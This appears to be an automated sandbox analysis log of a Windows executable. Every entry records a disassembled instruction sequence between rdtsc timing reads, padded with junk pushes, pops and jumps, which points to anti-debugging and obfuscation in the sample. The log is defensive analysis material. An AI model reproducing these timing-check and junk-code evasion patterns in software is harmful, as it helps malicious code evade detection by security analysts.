Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC887 second address: 12DC899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D01535Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF60F second address: 12DF62E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE45D011946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b js 00007FE45D011946h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jc 00007FE45D011946h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8AE4 second address: 12D8AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1AE7 second address: 12D1B69 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 mov ebx, edi 0x0000000a push dword ptr fs:[00000000h] 0x00000011 mov edi, 1DC5EFECh 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d mov dword ptr [ebp+122D2182h], esi 0x00000023 mov ebx, esi 0x00000025 mov eax, dword ptr [ebp+122D0805h] 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007FE45D011948h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 add dword ptr [ebp+122D3708h], edx 0x0000004b push FFFFFFFFh 0x0000004d push 00000000h 0x0000004f push edi 0x00000050 call 00007FE45D011948h 0x00000055 pop edi 0x00000056 mov dword ptr [esp+04h], edi 0x0000005a add dword ptr [esp+04h], 00000014h 0x00000062 inc edi 0x00000063 push edi 0x00000064 ret 0x00000065 pop edi 0x00000066 ret 0x00000067 mov dword ptr [ebp+1244CF54h], ebx 0x0000006d add edi, dword ptr [ebp+122D18ABh] 0x00000073 nop 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 pushad 0x00000079 popad 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8AE8 second address: 12D8AF2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1B69 second address: 12D1B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC95F second address: 12DC965 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1B6D second address: 12D1B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1B73 second address: 12D1B78 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E86B0 second address: 12E86B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E86B4 second address: 12E86C6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FE45D015356h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E86C6 second address: 12E86DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011952h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7F25 second address: 12E7F45 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE45D015360h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E80DC second address: 12E80E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E80E1 second address: 12E80E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E80E6 second address: 12E8101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007FE45D01194Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8101 second address: 12E8105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8105 second address: 12E810B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB646 second address: 12EB650 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE45D015356h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB650 second address: 12EB66C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE45D011954h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB66C second address: 12EB670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB670 second address: 12EB676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ECF5E second address: 12ECF85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007FE45D015356h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jbe 00007FE45D01535Ah 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pop edx 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jns 00007FE45D015356h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ECF85 second address: 12ECF8F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE45D011946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ECF8F second address: 12ECFB3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007FE45D015356h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a pushad 0x0000001b pushad 0x0000001c jp 00007FE45D015356h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3A86 second address: 12F3A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2F10 second address: 12F2F22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D01535Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3082 second address: 12F3086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3086 second address: 12F308A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F308A second address: 12F3094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3094 second address: 12F30D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015361h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007FE45D01535Eh 0x00000014 jg 00007FE45D015356h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FE45D015364h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F30D4 second address: 12F30D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F30D8 second address: 12F30E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F35F9 second address: 12F35FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F35FE second address: 12F362D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FE45D015356h 0x0000000b push edx 0x0000000c pop edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 jmp 00007FE45D015366h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F393E second address: 12F3943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3943 second address: 12F3949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3949 second address: 12F394F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F394F second address: 12F3953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE928 second address: 12AD4B3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE45D011951h 0x00000008 jmp 00007FE45D01194Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FE45D011948h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a call 00007FE45D011956h 0x0000002f ja 00007FE45D011946h 0x00000035 pop edi 0x00000036 lea eax, dword ptr [ebp+12482696h] 0x0000003c mov edx, dword ptr [ebp+122D394Dh] 0x00000042 push eax 0x00000043 jmp 00007FE45D01194Fh 0x00000048 mov dword ptr [esp], eax 0x0000004b push 00000000h 0x0000004d push ecx 0x0000004e call 00007FE45D011948h 0x00000053 pop ecx 0x00000054 mov dword ptr [esp+04h], ecx 0x00000058 add dword ptr [esp+04h], 0000001Dh 0x00000060 inc ecx 0x00000061 push ecx 0x00000062 ret 0x00000063 pop ecx 0x00000064 ret 0x00000065 jnp 00007FE45D01194Ah 0x0000006b mov di, 6B1Bh 0x0000006f call dword ptr [ebp+122D3269h] 0x00000075 push eax 0x00000076 push edx 0x00000077 push edx 0x00000078 jmp 00007FE45D01194Ch 0x0000007d pushad 0x0000007e popad 0x0000007f pop edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF156 second address: 12CF192 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE45D015358h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c jmp 00007FE45D015366h 0x00000011 pop edi 0x00000012 xchg eax, esi 0x00000013 stc 0x00000014 nop 0x00000015 pushad 0x00000016 pushad 0x00000017 jl 00007FE45D015356h 0x0000001d jns 00007FE45D015356h 0x00000023 popad 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF192 second address: 12CF1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FE45D01194Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF243 second address: 12CF251 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FE45D015356h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF425 second address: 12CF42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF42A second address: 12CF451 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE45D015362h 0x00000008 jmp 00007FE45D01535Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE45D01535Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF451 second address: 12CF4A6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE45D011946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ecx 0x0000000e popad 0x0000000f nop 0x00000010 mov di, ax 0x00000013 push 00000004h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FE45D011948h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f or edx, dword ptr [ebp+122D3A51h] 0x00000035 nop 0x00000036 jmp 00007FE45D01194Fh 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e js 00007FE45D01194Ch 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF4A6 second address: 12CF4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFC82 second address: 12CFCAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FE45D011946h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE45D011957h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CFCAC second address: 12CFCB6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F720C second address: 12F7229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push esi 0x00000008 jp 00007FE45D011952h 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7513 second address: 12F754E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FE45D01535Eh 0x00000010 push esi 0x00000011 pop esi 0x00000012 jnc 00007FE45D015356h 0x00000018 pop eax 0x00000019 pushad 0x0000001a jmp 00007FE45D01535Ah 0x0000001f push eax 0x00000020 push eax 0x00000021 pop eax 0x00000022 pushad 0x00000023 popad 0x00000024 pop eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FE45D01535Dh 0x0000002c push edi 0x0000002d pop edi 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F76B6 second address: 12F76BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F76BB second address: 12F76CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D01535Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F76CE second address: 12F76D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F76D2 second address: 12F76EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015366h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F76EF second address: 12F7705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D011950h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304382 second address: 130438B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130438B second address: 1304391 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304391 second address: 13043C1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FE45D01535Eh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE45D015369h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308A10 second address: 1308A2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308A2D second address: 1308A33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1308E52 second address: 1308E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13096BF second address: 13096C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13096C3 second address: 13096D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FE45D011952h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309B31 second address: 1309B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13083F5 second address: 130841C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011959h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007FE45D011948h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130DDC5 second address: 130DDCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE45D015356h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130DDCF second address: 130DDED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D01194Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE45D011950h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130DDED second address: 130DE24 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnl 00007FE45D015356h 0x0000000b pop esi 0x0000000c jno 00007FE45D01536Bh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 je 00007FE45D015366h 0x0000001a push ecx 0x0000001b push edi 0x0000001c pop edi 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D819 second address: 130D826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jp 00007FE45D011946h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D979 second address: 130D983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE45D015356h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D983 second address: 130D987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D987 second address: 130D98F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13102B7 second address: 1310300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D011957h 0x00000009 popad 0x0000000a pushad 0x0000000b jbe 00007FE45D011946h 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop esi 0x00000017 jbe 00007FE45D01196Ah 0x0000001d pushad 0x0000001e js 00007FE45D011946h 0x00000024 jl 00007FE45D011946h 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 ja 00007FE45D011946h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310300 second address: 1310304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1314127 second address: 1314148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011951h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FE45D011946h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1314148 second address: 131414E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313B7A second address: 1313B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE45D011946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313B84 second address: 1313B89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313B89 second address: 1313B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D01194Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313B9C second address: 1313BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131A099 second address: 131A0A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE45D01195Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131971A second address: 1319722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1319722 second address: 1319736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE45D01194Ch 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1319736 second address: 131973C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1319C66 second address: 1319C6B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E2AE second address: 131E2B8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
